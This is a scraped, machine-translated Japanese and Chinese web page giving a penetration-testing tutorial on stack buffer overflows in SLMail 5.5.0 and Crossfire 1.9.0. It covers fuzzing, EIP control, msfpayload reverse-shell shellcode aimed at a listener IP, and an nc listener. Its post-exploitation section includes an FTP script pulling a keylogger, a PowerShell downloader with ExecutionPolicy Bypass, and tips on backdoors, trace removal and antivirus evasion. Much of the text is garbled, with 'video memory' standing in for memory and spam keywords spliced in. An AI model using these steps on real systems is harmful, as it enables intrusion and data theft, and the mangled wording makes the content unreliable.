ホームページ システムチュートリアル Linux Linux ペネトレーション テスト チュートリアル: スタック オーバーフローの開始から終了までをステップごとに説明します

Linux ペネトレーション テスト チュートリアル: スタック オーバーフローの開始から終了までをステップごとに説明します

Feb 02, 2024 am 09:36 AM
スタックオーバーフロー python脚本

メモの内容は、Security Niu Classroom の Yuan Fanghong 教師による KaliLinux ペネトレーション テスト チュートリアルを参照しています。

すべての脆弱性の核心は、データの入力にあります。バッファ オーバーフローの原理は、データとコードの間の境界があいまいになることです。バッファ境界の制限が厳密でない場合、不正な形式のデータが渡されるため、バッファが損傷します。 「非常に暴力的」で、隣接するビデオメモリ領域のデータを覆い、ビデオメモリのデータを書き換えることに成功し、プロセスの誘拐、悪意のあるコードの実行、サーバー制御の獲得につながる可能性があります。

バッファ オーバーフローの原理をより深く理解するには、著者が転載した記事を参照してください:

スタック オーバーフローについて、開始から終了までを段階的に説明します (パート 1)

スタック オーバーフローについて、開始から終了までを段階的に説明します (パート 2)

記事ディレクトリ

1. 脆弱性の発見方法 (1) ソースコード監査

ソフトウェア開発者は、ソーシャル エンジニアリングやその他の方法を使用して、レビューやデバッグのためにソース コードを取得する場合があります。条件は厳しく、ソースコードは通常入手できません。

(2) リバースエンジニアリング(ReverseEngineering)

リバースエンジニアリングを利用して、解析用のアセンブリソースコードを取得する アセンブリコードの解析は作業量が多く、困難です。

linux防缓冲区溢出_缓冲区溢出代码例子_缓冲区溢出shellcode

(3) ファジング

は、ターゲット システムに予期しない入力を提供し、異常な結果を監視することによってソフトウェアの脆弱性を検出する方法です。一般に、これを完了するには、有効な入力とランダムな偏差が使用されます。これには、ソフトウェア デバッグ ツール (ImmunityDebugger など) の使用が必要です。 )。

2. ファズテストのプロセス

まず第一に、バッファ オーバーフローに対するセキュリティ保護テクノロジを理解する必要があります。この保護メカニズムはファズ テスト プロセス中に回避する必要があるためです。

(1)Windows

テスト ソフトウェアは「SLMail5.5.0MailServer」で、その PASS コマンドにはバッファ オーバーフローの脆弱性があります。基本的な考え方: (デバッグ ツールとして ImmunityDebugger を使用する)

1. Python スクリプトを使用して、大量のデータを受信したときに PASS コマンドがオーバーフローするかどうかをテストします。通常、3000 文字を超えてもオーバーフローがない場合は、オーバーフローの脆弱性がないことを意味します。

2. オーバーフロー脆弱性を発見したら、EIP に対応するアドレスを決定しますが、基本的な方法はバイナリ方式とユニークな文字列方式です。固有の文字列メソッドは、metasploit スクリプト usr/share/metasploit-framework/tools/pattern_create.rb3000 を使用して生成できます。

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

3. EIP をシェルコードに対応するビデオ メモリ アドレスに変更し、そのアドレス空間にシェルコードを書き込むと、プログラムは EIP レジスタ値を読み取り、シェルコード コード セグメントにジャンプして実行します。

4. デバッグ ツールを通じて、送信されたデータが EIP を埋めた後、ESP が指すスペースを埋めることがわかったので、ESP の場所にシェルコードを配置しました。

5. ESP アドレスからスタックの最下部 Linux アンチバッファ オーバーフロー までの距離、つまり格納できるシェルコードのサイズを決定します。 Python スクリプトを使用してテスト用にソフトウェアにデータを送信し、ソフトウェアをデバッグして、ESP が指すスペースにどれだけのデータが保存されているかを確認します。最新のコンピュータ システム プロセスのメモリ空間ビューを図に示します。

図 1 プロセス メモリ空間のビュー

6. ASLR メカニズムにより、関数呼び出しスタックのアドレスはソフトウェアを実行するたびにランダムに変化するため、ハードコーディングは現実的ではありません。代わりの方法は、ビデオ メモリ内で固定アドレスを持つシステム モジュールを見つけることです。モジュール内の JMPESP 命令のアドレス ジャンプを見つけます。その後、このコマンドは ESP に直接ジャンプし、シェルコードを実行します。mona.py スクリプトを使用してビデオ メモリ モジュールを特定します。「returnaddress」が指定されているモジュールを検索します。 JMPESP コマンドを使用して、DEP および ASLR メカニズムによって保護されていないシステム モジュールを検索します!monamodules. /usr/share/metasploit-framework/tools/nasm_shell.rb を使用して、アセンブリ命令 jmpesp を FFE4 の 2 の補数に変換し、検索しますmodule!monafind-s "xffxe4"-mslmfc.dll の FFE4 命令の場合。命令のアドレスを見つけたら、そのアドレスを EIPlinux バージョンの qq に入力し、シェルコードを構築し、不正な文字を削除します: /msfpayloadwin32_reverseLHOST= 192.168.20.8LPORT=443R|./msfencode-b"x00x0ax0d

注: シェルコードの構築時に選択されたペイロードは、バインドする直接接続ではなくリバース接続です。これにより、ファイアウォールのブロック戦略を回避できます。

7. 最後に、ポート盗聴 nc-vlp443 を有効にします。シェルコードが実行された後、ExitProcess メソッドを使用してプロセス全体を終了します。これにより、SMS サービスがクラッシュします。Slmail はスレッドベースのアプリケーションです。ExitThread メソッドの適用サービス全体のクラッシュを防ぎ、重複を実現できます。

注: さまざまな種類のプログラム、プロトコル、および脆弱性では、個々の文字が不正な文字であると見なされます。これらの文字には用途が決まっているため、不正な文字がリターン アドレス、シェルコード、またはバッファに現れることはありません。すべての不正な文字を見つけるには、0x00 ~ 0xff256 文字を送信します。不正な文字は、metasploit スクリプト ./msfencode を使用してエンコードできます。

8. 攻撃対象をさらに制御したい場合は、レジストリを変更してリモート デスクトップを開くことができます。Windows の設定の 90% 以上はレジストリを変更することで完了できます:

リーリー

(2)Linux

テスト ソフトウェアは「Crossfire」で、1.9.0 には受信ソケット接続を受け入れるときにバッファ オーバーフローの脆弱性があります。基本的な考え方は Windows Fuzzing と同じです (デバッグ ツールとして edb を使用します) ので詳細は説明しませんが、次の点に注意する必要があります。

1. デバッグ コマンド: edb--run/usr/games/crossfire/bin/crossfire

2. バッファ オーバーフローを検証したところ、ペイロードが 4368 バイトに固定されている場合にのみ、EIP の値を正確にカバーできることがわかり、このようにすると、ESP が指すスペースには 7 バイトしか残りません。 Shellcode を置くだけでは不十分なので、edb で検索したところ、データで完全にカバーできるレジスタが EAX を見つけたので、回避策として ESP が EAX にジャンプして Shellcode を実行します。

3. EXPの選択と変更

インターネット上には、長期間にわたって公開されているさまざまなソフトウェアの脆弱性に対するヘルプ コード (EXP) が存在します。信頼できる EXP ソースを選択し、これに基づいて調査や変更を行うことができます。特にシェルコードは簡単には使用できません。

linux anti-buffer Overflow

にはウイルスが含まれている可能性があります Linux システムを使用する場合、習得する必要があるプログラミング言語には、一般的に Python、C、C、Ruby などが含まれます。いくつかの信頼できる経験値ソース: EXP獲得後は以下の点に注意してください。

4.脆弱性発生後の段階

ツールのアップロード、権限の昇格、攻撃痕跡の消去、サイド ドアのインストールなどのさらなる操作が含まれます。ここではファイル アップロード操作のみについて説明します。ファイル アップロードは、トロイの木馬のプレインストールとサイド ドアのインストールの基礎となります。取得したターゲットのオペレーティング システムの情報に基づいて、シェルでファイルのアップロード操作を実行します。

(一)Windows

首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:

1.Linux端:配置ftp服务

登陆FTP有三种形式:

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span>
vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span>
<span class="token comment">#添加配置</span>
local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span>
<span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span>
<span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span>
chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span>
chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span>
chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list
<span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span>
userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span>
userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span>
<span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span>
<span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span>
<span class="token function">mkdir</span> /home/ftpduser
<span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1
<span class="token function">service</span> vsftpd start
ログイン後にコピー

2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置

(1)使用ftp传输文件

由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。

<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt
ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt
ログイン後にコピー

(2)使用powershell传输文件

<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span>
<span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient
<span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span>
<span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span>
<span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span>
powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1
ログイン後にコピー

(二)Linux

借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。

注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。

以上がLinux ペネトレーション テスト チュートリアル: スタック オーバーフローの開始から終了までをステップごとに説明しますの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

crontab のスケジュールされたタスクが実行されない理由をご存知ですか? crontab のスケジュールされたタスクが実行されない理由をご存知ですか? Mar 09, 2024 am 09:49 AM

crontab のスケジュールされたタスクが実行されない原因まとめ 更新日時: 2019年1月9日 09:34:57 作成者: Hope on the field. この記事では主に、crontab のスケジュールされたタスクが実行されない原因をいくつかまとめて紹介します。考えられるトリガーごとに解決策が示されており、この問題に遭遇した同僚にとって一定の参照と学習価値があります。必要な学生はエディターに従って一緒に学習できます。序文: 最近仕事でいくつかの問題に遭遇しました。crontab のスケジュール設定タスクが実行されませんでした後、インターネットで検索したところ、インターネットでは主に次の 5 つのインセンティブについて言及されていることがわかりました: 1. crond サービスが開始されていない Crontab は Linux カーネルの機能ではなく、cron に依存しています。

pyjokes を使用してランダムなジョークを作成する Python スクリプト pyjokes を使用してランダムなジョークを作成する Python スクリプト Sep 13, 2023 pm 08:25 PM

Python スクリプトやアプリケーションにユーモアを加えてみませんか?チャットボットを構築している場合でも、コマンド ライン ツールを開発している場合でも、あるいは単にランダムなジョークで楽しませたい場合でも、pyjokes ライブラリが役に立ちます。 pyjoke を使用すると、さまざまなカテゴリのジョークを簡単に生成し、好みに合わせてカスタマイズできます。このブログ投稿では、pyjokes ライブラリを使用して Python でランダムなジョークを作成する方法を検討します。インストール プロセス、さまざまなカテゴリのジョークの生成、ジョークのカスタマイズ、コンソール アプリケーションまたは Web ページでのジョークの表示、および発生する可能性のある潜在的なエラーの処理について説明します。 pyjoke をインストールする pyjoke を使用してランダムなジョークを作成する前に、次のことが必要です。

Python スクリプトは Excel スプレッドシートを自動的に更新します Python スクリプトは Excel スプレッドシートを自動的に更新します Sep 09, 2023 pm 06:21 PM

Python と Excel は 2 つの強力なツールであり、組み合わせると自動化の世界が広がります。 Python には、さまざまなタスクを効率的に実行するスクリプトを作成できる多用途のライブラリとユーザーフレンドリーな構文が備わっています。一方、Excel は、データ分析と操作のための使い慣れたインターフェイスを提供する、広く使用されているスプレッドシート プログラムです。このチュートリアルでは、Python を活用して Excel スプレッドシートを更新するプロセスを自動化し、時間と労力を節約する方法を検討します。 Excel スプレッドシートを更新されたデータで手動で更新することに貴重な時間を費やしていませんか?これは反復的で時間のかかる作業であり、生産性を大幅に低下させる可能性があります。この記事では、Py の使用方法を説明します。

PyCharm 高度なチュートリアル: PyInstaller を使用してコードを EXE 形式にパッケージ化する PyCharm 高度なチュートリアル: PyInstaller を使用してコードを EXE 形式にパッケージ化する Feb 20, 2024 am 09:34 AM

PyCharm は、開発者の効率向上に役立つ豊富な機能とツールを提供する強力な Python 統合開発環境です。その中でも、PyInstaller は、Python コードを実行可能ファイル (EXE 形式) にパッケージ化して、Python 環境のないマシンでの実行を容易にする、一般的に使用されるツールです。この記事では、PyCharm で PyInstaller を使用して Python コードを EXE 形式にパッケージ化し、特定の

Orange3 の探索: データ マイニングと機械学習の新しい世界を切り開きます! Orange3 の探索: データ マイニングと機械学習の新しい世界を切り開きます! Mar 04, 2024 pm 08:16 PM

Orange3 は、強力なオープンソース データ視覚化および機械学習ツールであり、豊富なデータ処理、分析、モデリング機能を備えており、ユーザーにシンプルかつ高速なデータ マイニングおよび機械学習ソリューションを提供します。この記事では、Orange3 の基本的な機能と使用法を簡単に紹介し、実際のアプリケーション シナリオや Python コードのケースと組み合わせて、読者が Orange3 の使用スキルをよりよく習得できるようにします。 Orange3 の基本機能には、データのロード、データの前処理、特徴の選択、モデルの確立と評価などが含まれます。ユーザーは直感的なインターフェイスを使用してコンポーネントをドラッグ アンド ドロップし、データ プロセスを簡単に構築できます。同時に、より複雑なデータ処理やモデリングのタスクも Python スクリプトを通じて実行できます。以下、実践的な内容を見ていきます

pycharmでExcelデータを読み取る方法 pycharmでExcelデータを読み取る方法 Apr 03, 2024 pm 08:42 PM

PyCharmを使用してExcelデータを読み取るにはどうすればよいですか?手順は次のとおりです: openpyxl ライブラリのインストール、openpyxl ライブラリのインポート、Excel ワークブックのロード、特定のワークシートへのアクセス、ワークシート内のセルへのアクセス、行と列の走査。

python_python の繰り返し文字列チュートリアルで文字列を繰り返す方法 python_python の繰り返し文字列チュートリアルで文字列を繰り返す方法 Apr 02, 2024 pm 03:58 PM

1. まず pycharm を開いて、pycharm ホームページに入ります。 2. 次に、新しい Python スクリプトを作成し、右クリックして [新規] をクリックし、[Pythonfile] をクリックします。 3. 文字列、コード: s="-" を入力します。 4. 次に、文字列内のシンボルを 20 回繰り返す必要があります (コード: s1=s*20)。 5. 印刷出力コード、コード: print(s1) を入力します。 6. 最後にスクリプトを実行すると、下部に戻り値が表示されます。 - 20 回繰り返しました。

Flask のインストールと構成のチュートリアル: Python Web アプリケーションを簡単に構築するツール Flask のインストールと構成のチュートリアル: Python Web アプリケーションを簡単に構築するツール Feb 20, 2024 pm 11:12 PM

Flask のインストールと構成チュートリアル: Python Web アプリケーションを簡単に構築するためのツール、特定のコード サンプルが必要です はじめに: Python の人気が高まるにつれ、Web 開発は Python プログラマーにとって必要なスキルの 1 つになりました。 Python で Web 開発を実行するには、適切な Web フレームワークを選択する必要があります。数ある Python Web フレームワークの中でも、Flask はシンプルで使いやすく柔軟なフレームワークとして開発者に好まれています。この記事ではFlaskフレームワークのインストールについて紹介します。

See all articles